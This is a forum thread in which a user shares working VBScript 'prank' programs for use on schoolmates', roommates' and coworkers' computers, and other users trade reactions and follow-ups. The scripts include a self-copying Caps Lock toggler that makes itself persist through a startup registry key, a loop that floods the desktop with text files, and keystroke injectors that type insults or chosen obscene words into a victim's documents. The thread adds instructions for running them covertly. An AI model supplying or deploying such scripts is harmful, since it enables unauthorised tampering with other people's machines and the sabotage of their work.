Computer Pranks for All

[jabberwock95]

After having a good laugh at CptStern's thread about annoying coworkers, I remembered that one of my favorite passtimes used to be dreaming up new and fun computer pranks to torture my schoolmates with.

Since I have so much time on my hands (summer break), I decided to try to collect the best and most annoying computer pranks together in one thread, ready for any aspiring prankster to release on his (or her) unsuspecting victims.

I will try to post as many of my old favorites as possible, starting with 'The Capslock Virus' that I posted in Sterns thread.

Well, someone expressed interest in the Visual Basic pranks I pulles at school, so I will take the opportunity to show off mercilessly. :E

The prank I got the best result with is simple in theory. Once run on someones computer, the VBS file copies itself to the windows directory, adds a note to the registry to run it on startup, and executes a simple script that turns Capslock on and off about once a second.

Hilarity usually ensues as the victim is unable to tYpE AnyTHinG iN onE casE. One slightly malicious aspect to this program is that the victim will be unable to access anything that needs a password unless they focus hard. They usually get annoyed when they realise restarting does not solve the problem.

To use the code, copy and paste it into notepad, and save it as 'Installer.vbs' The filename is important, because I dont know enough VBS to make it better. To Use:

1. Place 'Installer.vbs' on the root of the C: drive. The path must be C:\Installer.vbs or it won't work!
2. Run the file.
3. Thats it. You may now delete the file.

Heres the code:

'Copies C:\Installer.vbs to C:\Windows\SysMyn.vbs

Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile "C:\Installer.vbs", "C:\Windows\SysMyn.vbs"

'Alters the registry to run C:\Windows\SysMyn at startup

Set WshShell = Wscript.CreateObject("Wscript.Shell")
WshShell.RegWrite "HKLM\software\microsoft\windows\currentversion\run\sysmyn", "C:\Windows\SysMyn.vbs"

'Turns Capslock on and off

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 500
wshshell.sendkeys "{CAPSLOCK}"
loop

Since I am so brilliant (and so geeky), and since the fun often depends on being able to remove the evidence, I have also created an uninstall file.

1. Save the code as whatever.vbs (filename not important)
2. Place anywhere on victims computer (path not important)
3. Run. All evidence of the original prank will be removed (not including the original installer file!), and Capslock will stop flashing. Simple as that.

Uninstall file:

'deletes the file

Set fso=CreateObject("Scripting.FileSystemObject")
fso.deletefile ("C:\Windows\SysMyn.vbs")


'removes the registry entry

Set WshShell = Wscript.CreateObject("Wscript.Shell")
WshShell.RegDelete "HKLM\software\microsoft\windows\currentversion\run\sysmyn"


'stops the process

Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
strQuery = "Select * from Win32_Process where Name='WScript.exe'"
Set colItems = objWMIService.ExecQuery(strQuery,,48)
For Each objItem in colItems
    objItem.Terminate
Next

I would post the files themselves, but .vbs files often contain viruses and are blocked by these forums and most other things. Unfortunately, they sometimes provoke virus scanners into a malicious script warning, so beware.

Oh, and dont post on these forums under the influence of what someone called 'The Capslock Virus', or you will be mistaken for a n00b and banned before you can explain. :E

:cheers:

So, post your opinions/experiances/favorite pranks here! And the technically-unsavvy will shake with fear...

 

[Dalamari]

http://carepolice.ytmnd.com/

 

[bvasgm]

Come on Dalamari, you've got to admit that's pretty clever. Nice prank, I've gotta try that out.

 

[xLostx]

http://carepolice.ytmnd.com/

http://carepolice.ytmnd.com/

 

[RabidMeatloaf]

Lol that made my day, Dalamari....

OT:
I'll have to try that prank on someone.....

 

[jabberwock95]

lol, you cant please all of the people all of the time.

I would be more impressed if you had actually made that though Dalamari :E

 

[Solaris]

Thats great, im scared of testing it and braking my computer.

 

[mortiz]

hehe, I'll remember this one and try it when I get back to Uni.

 

[Vegeta897]

Nice prank there. I would do that if other people used my computer

Too bad they would come to me complaining, and I would have to fix it -_-

 

[jabberwock95]

Thats great, im scared of testing it and braking my computer.

lol, if you just want to test it, just copy the bit below 'this turns capslock on and off' in the code. This will run it, but not copy it anywhere, so you can end the process and it wont come back.

 

[CyberPitz]

my roomate loves the prank..

"My capslock is broken!...."
*Laughter in background*
"What the hell, it's eathing my CPU? Why is norton talking about malicious scripts!? WTF DID U DO PAUL!"

 

[jabberwock95]

OK, next prank.

A .vbs file again, just run it and it will create 50 text files (called warning1, warning2, etc.) on the desktop of the victim (actually of all users on the computer).

1. They will be created at a rate of one every second.
2. They will contain the text "Your computer is Haxx0red with the Replicating text files."

Oh, and they will restore themselves if deleted. :E

Disclaimer: Only tested on Windows XP

Set fso = CreateObject("Scripting.FileSystemObject")

do
Dim number
For number = 1 to 50


Set oText = fso.CreateTextFile("C:\Documents and Settings\All Users\Desktop\Warning" & number & ".txt", TRUE)
oText.WriteLine "Your computer is Haxx0red with the Replicating text files."

wScript.Sleep 1000

Next
loop

Have fun, if anyones interested i'll make an installer for it to run on startup (current version will only run until comp is restarted).

 

[bvasgm]

Brilliant!!

 

[jabberwock95]

If you wanted to be really cruel, you could change 'For number 1 to 50' to 'For number 1 to 50000'

But that may crash the computer.

 

[CyberPitz]

If you wanted to be really cruel, you could change 'For number 1 to 50' to 'For number 1 to 50000'

But that may crash the computer.

do you have to name it installer as well?

 

[Login_Here]

I would assume not as it doesn't copy any files.

 

[jabberwock95]

do you have to name it installer as well?

No, my new prank does not copy itself anywhere.

It runs just like a normal program, meaning if you restart the computer it will not come back unless you run it again. But however many text files it creates will still be there.

Basically, it just creates one text file called 'warning(number)' every second. The 'for number 1 to x' tells it what number to stop at. Once it reaches that number it loops, giving the impression that the files 'return' when they are deleted.

The original program creates 50 files and loops, but I suggested you could make it create 50000 with only a small change, but I dont know what that would do (besides make it difficult for your roomate to see his desktop ever again).

 

[Login_Here]

The original program creates 50 files and loops, but I suggested you could make it create 50000 with only a small change, but I dont know what that would do (besides make it difficult for your roomate to see his desktop ever again).

My guess is that it would give you a hideous amount of error messages since 50000 files don't fit on the desktop, and we all know how often Windows gives you an error message

 

[Pesmerga]

C++ exes > VB

 

[jabberwock95]

C++ exes > VB

VB is easier to learn and doesnt require compiling.

My guess is that it would give you a hideous amount of error messages since 50000 files don't fit on the desktop, and we all know how often Windows gives you an error message

To be honest I havent the nerve to try this on my own system. I have had bad experiances with some of my programs. If anyone trys it, let me know!

NB, by 'bad experiances' I once made a VB file that would open notepad on a loop. I hadnt counted on how fast a computer can open notepad. I had about 500 open when I thought 'gee, I had better end this process'. I open task manager and see 700 entries for 'notepad'. I think notepad was using about 2gb of memory when I found the process and ended it...

 

[jabberwock95]

Oops.

My bad for making the original prank so complicated (it was an old file).

I just realised that you can 'call' the path of the prank as a variable, so it doesnt need to have a specific path.

Basically, this is a new version of the Capslock prank that doesnt need to be called Installer and doesnt need to be on the C: drive. So you can run it from a floppy or a pendrive or whatever.

'Copies the script to C:\Windows\SysMyn.vbs

Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile WScript.ScriptFullName, "C:\Windows\SysMyn.vbs"

'Alters the registry to run C:\Windows\SysMyn at startup

Set WshShell = Wscript.CreateObject("Wscript.Shell")
WshShell.RegWrite "HKLM\software\microsoft\windows\currentversion\run\sysmyn", "C:\Windows\SysMyn.vbs"

'Turns Capslock on and off

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 500
wshshell.sendkeys "{CAPSLOCK}"
loop

 

[bvasgm]

Thanks jabberwock95. Just saved it to a floppy. These'll make for an interesting first day back to school.

 

[jabberwock95]

Hmm, dunno if it would work on school comps. To work properly it needs access to the C: drive and the registry, which not many schools let you have.

You could still run the bit that actually does the stuff, it just wouldnt stay on the computer after it was restarted.

Do you have access to the command prompt or can you run .bat files? Net Send can be very funny because you can do it remotely.

 

[ray_MAN]

This is like a crash course for virus writing. And, I'm loving it!

 

[jabberwock95]

OK, new one.

This is for use on people when you want something a bit subtler. It also doesnt need any permissions so it can be used anywhere.

It sends various insulting messages as if they were typed on the keyboard, so they will appear if the victim is in any sort of word processing program. There is a delay of 30 seconds at the start and a delay of 10 seconds between messages. You can change the messages and the delays (in milliseconds, so 1000 is 1 second).

Set wshShell = wscript.CreateObject("WScript.Shell")
wscript.sleep 30000
do
wscript.sleep 10000
wshShell.sendkeys "You Geek."
wscript.sleep 10000
wshShell.sendkeys "Ha Ha Ha"
wscript.sleep 10000
wshShell.sendkeys "You can't type."
wscript.sleep 10000
wshShell.sendkeys "Your work sucks."
wscript.sleep 10000
wshShell.sendkeys "I'm watching you."
wscript.sleep 10000
wshShell.sendkeys "Stop looking at dirty pictures."
wscript.sleep 10000
wshShell.sendkeys "I saw that."
wscript.sleep 10000
wshShell.sendkeys "You cant do anything about me."
wscript.sleep 10000
wshShell.sendkeys "I can say anything I want."
loop

And for you really evil people who want to mess with schoolmates/coworkers who are busily typing important stuff, a 'do-it-yourself' version. Put certain 'naughty' words between the quotes, and set the delay to about a minute. With luck, your victims important work will be sprinkled with these words when they hand it in.

Set wshShell = wscript.CreateObject("WScript.Shell")
wscript.sleep 30000
do
wscript.sleep 20000
wshShell.sendkeys ""
wscript.sleep 20000
wshShell.sendkeys ""
wscript.sleep 20000
wshShell.sendkeys ""
wscript.sleep 20000
wshShell.sendkeys ""
wscript.sleep 20000
wshShell.sendkeys ""
wscript.sleep 20000
wshShell.sendkeys ""
wscript.sleep 20000
wshShell.sendkeys ""
wscript.sleep 20000
wshShell.sendkeys ""
loop

 

[jabberwock95]

Arg.

I could resist the temptation no longer, and tried out the '50,000 text files' prank on myself. With no delay. And...nothing happened.

Nothing, that is, until I ended the process. The script was obviously too busy creating files to display them. Now I have idntknowhowmanythousand text files on my desktop. As soon as I delete as large a chunk as I can see, more fill the gap.

Now I have to design a program to remove them. But I can recommend doing it to someone annoying.

EDIT: Oh, final count was 1,933. I'm going to bed....

 

[ray_MAN]

I just got so scared. I was running the Caps lock virus, and it worked. I went to go uninstall it and I got an error. I was like, "OHHHH SHIT!" I tried again, and it worked. Phew.

 

[Rafa 5.0]

Oops.

My bad for making the original prank so complicated (it was an old file).

I just realised that you can 'call' the path of the prank as a variable, so it doesnt need to have a specific path.

Basically, this is a new version of the Capslock prank that doesnt need to be called Installer and doesnt need to be on the C: drive. So you can run it from a floppy or a pendrive or whatever.

'Copies the script to C:\Windows\SysMyn.vbs

Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile WScript.ScriptFullName, "C:\Windows\SysMyn.vbs"

'Alters the registry to run C:\Windows\SysMyn at startup

Set WshShell = Wscript.CreateObject("Wscript.Shell")
WshShell.RegWrite "HKLM\software\microsoft\windows\currentversion\run\sysmyn", "C:\Windows\SysMyn.vbs"

'Turns Capslock on and off

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 500
wshshell.sendkeys "{CAPSLOCK}"
loop

but you still need to run the uninstaller for this one right?

 

[ktimekiller]

so the second script in the main post is to remove any of these pranks?

 

[SimonomiS]

So with that insulting messages one, how would you end it?

 

[Rafa 5.0]

ok, just ran the Caps Lock one, and just like ray_MAN it gives an error message when trying to delete the registry file, says can't be deleted, then i tried again and it said can't be deleted, file not found, so I restarted and it works fine now...

i'm thinking it's something like since the script is running it can't delete the registry key so you need to restart after running the uninstall in order for the changes to take effect

 

[CptStern]

lol! @ you guys ..your pranks make mine look like shit in comparison ...although I'd get fired if I used them

jabberwock95: heheh poetic justice that you punked yourself heheh brilliant pranks btw

 

[Pesmerga]

lol! @ you guys ..your pranks make mine look like shit in comparison ...although I'd get fired if I used them

At least it wouldn't be boring

 

[Jintor]

Just remember to create uninstallers, yo.

 

[15357]

I remember making an exe file desguised as an game hax that deleted your drivers folder.


anyway, thats cool.

 

[jabberwock95]

Whoa! So many questions...

1. The Uninstaller in the original post will still work for the improved version of the Capslock prank.

2. The Capslock file (old and new versions) is the only file that runs on startup, so it is the only file that requires uninstalling.

3. To stop any other file, either stop the process 'WScript' in task manager or restart your computer. All of my scripts appear as WScript, so this works for all, the difference is the Capslock thing will come back when you restart.

4. I'm not sure what the problem with the unistall file is, could you be running it on an account that doesnt have access to the registry? What was the actual error? Here is how to remove it manually if you have problems:

a. Stop the process WScript.exe (under 'processes' in task manager)
b. Remove the file 'SysMyn.vbs' from C:\Windows
c. Remove the registry entry 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Sysmyn'

5. CptStern, who would find out? :naughty:

 

[CyberPitz]

Whoa! So many questions...

1. The Uninstaller in the original post will still work for the improved version of the Capslock prank.

2. The Capslock file (old and new versions) is the only file that runs on startup, so it is the only file that requires uninstalling.

3. To stop any other file, either stop the process 'WScript' in task manager or restart your computer. All of my scripts appear as WScript, so this works for all, the difference is the Capslock thing will come back when you restart.

4. I'm not sure what the problem with the unistall file is, could you be running it on an account that doesnt have access to the registry? What was the actual error? Here is how to remove it manually if you have problems:

a. Stop the process WScript.exe (under 'processes' in task manager)
b. Remove the file 'SysMyn.vbs' from C:\Windows
c. Remove the registry entry 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Sysmyn'

5. CptStern, who would find out? :naughty:

Jesus frowns on computer pranks!...

LETS DO IT!

 

[jabberwock95]

BTW, did you actually try the prank on your roomate?

And did he actually say it was eating his CPU?

 

[mortiz]

thE cAps lOcK PrAnK WoRKS LikE a dREaM, THanKs.

 

[jabberwock95]

The following post will be typed under the influence my latest script:

Thawankernks, you gaywill be pleassased to kncrapow thapornt the 'wankergayinsultiassg crapwords' prankass works craplike aporn charmporn toowanker. Tasshe ocrapnly pornproblem iwankers that igayf you assset the decraplay too shpornort it makewankers it very gaydifficult assfor whacrapt you typeporn to be underwankerstandablegay.

TRANSLATION: Thanks. You will be pleased to know that the 'instulting words' prank works like a charm too. The only problem is that if you set the delay too short it makes it very difficult for what you type to be understandable.